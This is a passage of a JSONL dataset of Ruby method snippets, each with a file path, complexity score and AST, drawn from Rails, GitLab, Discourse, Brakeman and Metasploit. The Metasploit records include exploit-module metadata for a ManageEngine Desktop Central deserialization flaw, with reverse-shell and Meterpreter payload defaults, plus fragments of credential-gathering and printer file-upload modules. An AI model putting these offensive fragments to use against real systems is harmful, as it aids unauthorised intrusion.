end","complexity_score":5.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"cache\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@cache\"]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GlobalSetting\"]},\"skip_redis?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Cache\"]},\"MemoryStore\"]},\"new\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Cache\"]},\"new\"]}]}]}]}]}","id":"9cc6c6c4-e0e7-478e-91ca-76e25d228e5f"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20241125133216_add_group_wiki_repository_states_group_id_fk.rb","start_line":11,"raw_source":"def down\n with_lock_retries do\n remove_foreign_key :group_wiki_repository_states, column: :group_id\n end\n end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"remove_foreign_key\",{\"type\":\"sym\",\"children\":[\"group_wiki_repository_states\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"group_id\"]}]}]}]}]}]}","id":"ea848c03-ecbe-41f9-ba90-23f1dc3c47e0"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/calculations_test.rb","start_line":291,"raw_source":"def test_limit_should_apply_before_count\n accounts = Account.order(:id).limit(4)\n\n assert_equal 3, accounts.count(:firm_id)\n assert_equal 3, accounts.select(:firm_id).count\n end","complexity_score":9.9,"ast_json":"{\"type\":\"def\",\"children\":[\"test_limit_should_apply_before_count\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"accounts\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Account\"]},\"order\",{\"type\":\"sym\",\"children\":[\"id\"]}]},\"limit\",{\"type\":\"int\",\"children\":[4]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[3]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"accounts\"]},\"count\",{\"type\":\"sym\",\"children\":[\"firm_id\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[3]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"accounts\"]},\"select\",{\"type\":\"sym\",\"children\":[\"firm_id\"]}]},\"count\"]}]}]}]}","id":"f21f85f7-87bb-42c3-a146-372864fc7238"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/base/sessions/scriptable.rb","start_line":15,"raw_source":"def find_script_path(script)\n # Find the full file path of the specified argument\n check_paths =\n [\n script,\n ::File.join(script_base, \"#{script}\"),\n ::File.join(script_base, \"#{script}.rb\"),\n ::File.join(user_script_base, \"#{script}\"),\n ::File.join(user_script_base, \"#{script}.rb\")\n ]\n\n full_path = nil\n\n # Scan all of the path combinations\n check_paths.each { |path|\n if ::File.file?(path)\n full_path = path\n break\n end\n }\n\n full_path\n end","complexity_score":16.3,"ast_json":"{\"type\":\"def\",\"children\":[\"find_script_path\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"script\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"check_paths\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"script\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"join\",{\"type\":\"send\",\"children\":[null,\"script_base\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"script\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"join\",{\"type\":\"send\",\"children\":[null,\"script_base\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"script\"]}]},{\"type\":\"str\",\"children\":[\".rb\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"join\",{\"type\":\"send\",\"children\":[null,\"user_script_base\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"script\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"join\",{\"type\":\"send\",\"children\":[null,\"user_script_base\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"script\"]}]},{\"type\":\"str\",\"children\":[\".rb\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"full_path\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"check_paths\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"file?\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"full_path\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"break\",\"children\":[]}]},null]}]},{\"type\":\"lvar\",\"children\":[\"full_path\"]}]}]}","id":"4e55e682-a5a4-4f88-b285-f58d4988d570"} {"repo_name":"discourse","file_path":"./repos/discourse/lib/compression/strategy.rb","start_line":57,"raw_source":"def extract_file(entry, entry_path, available_size)\n remaining_size = available_size\n\n if ::File.exist?(entry_path)\n raise DestinationFileExistsError, \"Destination '#{entry_path}' already exists\"\n end\n\n ::File.open(entry_path, \"wb\") do |os|\n while (buf = entry.read(chunk_size))\n remaining_size -= buf.size\n raise ExtractFailed if remaining_size.negative?\n os << buf\n end\n end\n\n remaining_size\n end","complexity_score":20.4,"ast_json":"{\"type\":\"def\",\"children\":[\"extract_file\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"entry\"]},{\"type\":\"arg\",\"children\":[\"entry_path\"]},{\"type\":\"arg\",\"children\":[\"available_size\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"remaining_size\",{\"type\":\"lvar\",\"children\":[\"available_size\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"exist?\",{\"type\":\"lvar\",\"children\":[\"entry_path\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"DestinationFileExistsError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Destination '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entry_path\"]}]},{\"type\":\"str\",\"children\":[\"' already exists\"]}]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"open\",{\"type\":\"lvar\",\"children\":[\"entry_path\"]},{\"type\":\"str\",\"children\":[\"wb\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"os\"]}]},{\"type\":\"while\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"buf\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entry\"]},\"read\",{\"type\":\"send\",\"children\":[null,\"chunk_size\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"remaining_size\"]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]},\"size\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"remaining_size\"]},\"negative?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ExtractFailed\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"os\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"buf\"]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"remaining_size\"]}]}]}","id":"74abcd5f-6304-460e-b051-cce780379715"} {"repo_name":"rails","file_path":"./repos/rails/railties/test/railties/generators_test.rb","start_line":115,"raw_source":"def test_helpers_are_not_namespaced_when_engine_is_not_mountable\n build_engine\n Dir.chdir(engine_path) do\n bundled_rails(\"g helper topics\")\n assert_file \"app/helpers/topics_helper.rb\", /module TopicsHelper/\n assert_no_file \"app/helpers/foo_bar/topics_helper.rb\"\n end\n end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_helpers_are_not_namespaced_when_engine_is_not_mountable\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"build_engine\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"chdir\",{\"type\":\"send\",\"children\":[null,\"engine_path\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"bundled_rails\",{\"type\":\"str\",\"children\":[\"g helper topics\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"str\",\"children\":[\"app/helpers/topics_helper.rb\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"module TopicsHelper\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_no_file\",{\"type\":\"str\",\"children\":[\"app/helpers/foo_bar/topics_helper.rb\"]}]}]}]}]}]}","id":"00d8fc00-abdc-4050-9dde-ad0de091ad15"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/gather/credentials/filezilla_server.rb","start_line":565,"raw_source":"def got_root?\n session.sys.config.getuid =~ /SYSTEM/ ? true : false\n end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"got_root?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"sys\"]},\"config\"]},\"getuid\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"SYSTEM\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"true\",\"children\":[]},{\"type\":\"false\",\"children\":[]}]}]}","id":"5917c9dc-a27f-4079-a68d-5503b980693a"} {"repo_name":"rails","file_path":"./repos/rails/railties/test/application/asset_debugging_test.rb","start_line":119,"raw_source":"def index\n render params[:view_method]\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"index\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"view_method\"]}]}]}]}","id":"8403c816-e279-4c15-b5f0-c2bf0ea71ff4"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/groups_finder.rb","start_line":159,"raw_source":"def by_archived(groups)\n return groups if params[:archived].nil?\n\n params[:archived] ? groups.self_or_ancestors_archived : groups.self_and_ancestors_non_archived\n end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"by_archived\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"groups\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"archived\"]}]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"groups\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"archived\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"groups\"]},\"self_or_ancestors_archived\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"groups\"]},\"self_and_ancestors_non_archived\"]}]}]}]}","id":"87d5178c-51c6-46ed-8a2a-be97925c4bb3"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/desktopcentral_deserialization.rb","start_line":16,"raw_source":"def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'ManageEngine Desktop Central Java Deserialization',\n 'Description' => %q{\n This module exploits a Java deserialization vulnerability in the\n getChartImage() method from the FileStorage class within ManageEngine\n Desktop Central versions < 10.0.474. Tested against 10.0.465 x64.\n\n Quoting the vendor's advisory on fixed versions:\n\n \"The short-term fix for the arbitrary file upload vulnerability was\n released in build 10.0.474 on January 20, 2020. In continuation of\n that, the complete fix for the remote code execution vulnerability is\n now available in build 10.0.479.\"\n },\n 'Author' => [\n 'mr_me', # Discovery and exploit\n 'wvu' # Module\n ],\n 'References' => [\n ['CVE', '2020-10189'],\n ['URL', 'https://srcincite.io/advisories/src-2020-0011/'],\n ['URL', 'https://srcincite.io/pocs/src-2020-0011.py.txt'],\n ['URL', 'https://twitter.com/steventseeley/status/1235635108498948096'],\n ['URL', 'https://www.manageengine.com/products/desktop-central/remote-code-execution-vulnerability.html']\n ],\n 'DisclosureDate' => '2020-03-05', # 0day release\n 'License' => MSF_LICENSE,\n 'Platform' => 'win',\n 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],\n 'Privileged' => true,\n 'Targets' => [\n [\n 'Windows Command',\n {\n 'Arch' => ARCH_CMD,\n 'Type' => :win_cmd,\n 'DefaultOptions' => {\n 'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'\n }\n }\n ],\n [\n 'Windows Dropper',\n {\n 'Arch' => [ARCH_X86, ARCH_X64],\n 'Type' => :win_dropper,\n 'CmdStagerFlavor' => :certutil, # This works without issue\n 'DefaultOptions' => {\n 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'\n }\n }\n ],\n [\n 'PowerShell Stager',\n {\n 'Arch' => [ARCH_X86, ARCH_X64],\n 'Type' => :psh_stager,\n 'DefaultOptions' => {\n 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'\n }\n }\n ]\n ],\n 'DefaultTarget' => 2,\n 'DefaultOptions' => {\n 'SSL' => true,\n 'WfsDelay' => 60 # It can take a little while to trigger\n },\n 'Notes' => {\n 'Stability' => [SERVICE_RESOURCE_LOSS], # May 404 the upload page?\n 'Reliability' => [FIRST_ATTEMPT_FAIL], # Payload upload may fail\n 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]\n }\n )\n )\n\n register_options([\n Opt::RPORT(8383),\n OptString.new('TARGETURI', [true, 'Base path', '/'])\n ])\n end","complexity_score":7.35,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"ManageEngine Desktop Central Java Deserialization\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" This module exploits a Java deserialization vulnerability in the\\n\"]},{\"type\":\"str\",\"children\":[\" getChartImage() method from the FileStorage class within ManageEngine\\n\"]},{\"type\":\"str\",\"children\":[\" Desktop Central versions < 10.0.474. Tested against 10.0.465 x64.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" Quoting the vendor's advisory on fixed versions:\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" \\\"The short-term fix for the arbitrary file upload vulnerability was\\n\"]},{\"type\":\"str\",\"children\":[\" released in build 10.0.474 on January 20, 2020. In continuation of\\n\"]},{\"type\":\"str\",\"children\":[\" that, the complete fix for the remote code execution vulnerability is\\n\"]},{\"type\":\"str\",\"children\":[\" now available in build 10.0.479.\\\"\\n\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"mr_me\"]},{\"type\":\"str\",\"children\":[\"wvu\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2020-10189\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://srcincite.io/advisories/src-2020-0011/\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://srcincite.io/pocs/src-2020-0011.py.txt\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://twitter.com/steventseeley/status/1235635108498948096\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://www.manageengine.com/products/desktop-central/remote-code-execution-vulnerability.html\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2020-03-05\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows Command\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Type\"]},{\"type\":\"sym\",\"children\":[\"win_cmd\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PAYLOAD\"]},{\"type\":\"str\",\"children\":[\"cmd/windows/powershell_reverse_tcp\"]}]}]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows Dropper\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Type\"]},{\"type\":\"sym\",\"children\":[\"win_dropper\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"CmdStagerFlavor\"]},{\"type\":\"sym\",\"children\":[\"certutil\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PAYLOAD\"]},{\"type\":\"str\",\"children\":[\"windows/x64/meterpreter/reverse_tcp\"]}]}]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PowerShell Stager\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Type\"]},{\"type\":\"sym\",\"children\":[\"psh_stager\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PAYLOAD\"]},{\"type\":\"str\",\"children\":[\"windows/x64/meterpreter/reverse_tcp\"]}]}]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SSL\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"WfsDelay\"]},{\"type\":\"int\",\"children\":[60]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SERVICE_RESOURCE_LOSS\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FIRST_ATTEMPT_FAIL\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]},{\"type\":\"const\",\"children\":[null,\"ARTIFACTS_ON_DISK\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[8383]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Base path\"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]}]}]}]}]}","id":"a02bee63-602a-4193-b48a-61d9cf2253b5"} {"repo_name":"brakeman","file_path":"./repos/brakeman/lib/ruby_parser/bm_sexp.rb","start_line":589,"raw_source":"def module\n expect :result\n\n self[1]\n end","complexity_score":2.3,"ast_json":"{\"type\":\"def\",\"children\":[\"module\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"sym\",\"children\":[\"result\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}]}","id":"6d8a0625-115b-49ff-a27b-95e21c2a1f47"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/background_migration/backfill_snippet_repositories.rb","start_line":16,"raw_source":"def perform_by_ids(snippet_ids)\n snippets = snippet_relation.where(id: snippet_ids)\n\n migrate_snippets(snippets)\n end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"perform_by_ids\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"snippet_ids\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"snippets\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"snippet_relation\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"snippet_ids\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"migrate_snippets\",{\"type\":\"lvar\",\"children\":[\"snippets\"]}]}]}]}","id":"a6f376c3-1efe-4d87-93a1-43ea2b81a4b3"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/printer/printer_upload_file.rb","start_line":51,"raw_source":"def run_host(ip)\n lpath = datastore[\"LPATH\"]\n rpath = datastore[\"RPATH\"]\n\n connect\n pjl = Rex::Proto::PJL::Client.new(sock)\n pjl.begin_job\n\n pjl.fsinit(rpath[0..1])\n\n if pjl.fsdownload(lpath, rpath)\n print_good(\"#{rhost}:#{rport} - Saved #{lpath} to #{rpath}\")\n end\n\n pjl.end_job\n disconnect\n end","complexity_score":21.5,"ast_json":"{\"type\":\"def\",\"children\":[\"run_host\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ip\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"lpath\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"LPATH\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"rpath\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RPATH\"]}]}]},{\"type\":\"send\",\"children\":[null,\"connect\"]},{\"type\":\"lvasgn\",\"children\":[\"pjl\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Proto\"]},\"PJL\"]},\"Client\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"sock\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pjl\"]},\"begin_job\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pjl\"]},\"fsinit\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rpath\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pjl\"]},\"fsdownload\",{\"type\":\"lvar\",\"children\":[\"lpath\"]},{\"type\":\"lvar\",\"children\":[\"rpath\"]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - Saved \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lpath\"]}]},{\"type\":\"str\",\"children\":[\" to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rpath\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pjl\"]},\"end_job\"]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]}]}]}","id":"b1122d87-ab38-4314-8ead-cf6f4ce32183"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/autocomplete/routes_finder.rb","start_line":43,"raw_source":"def 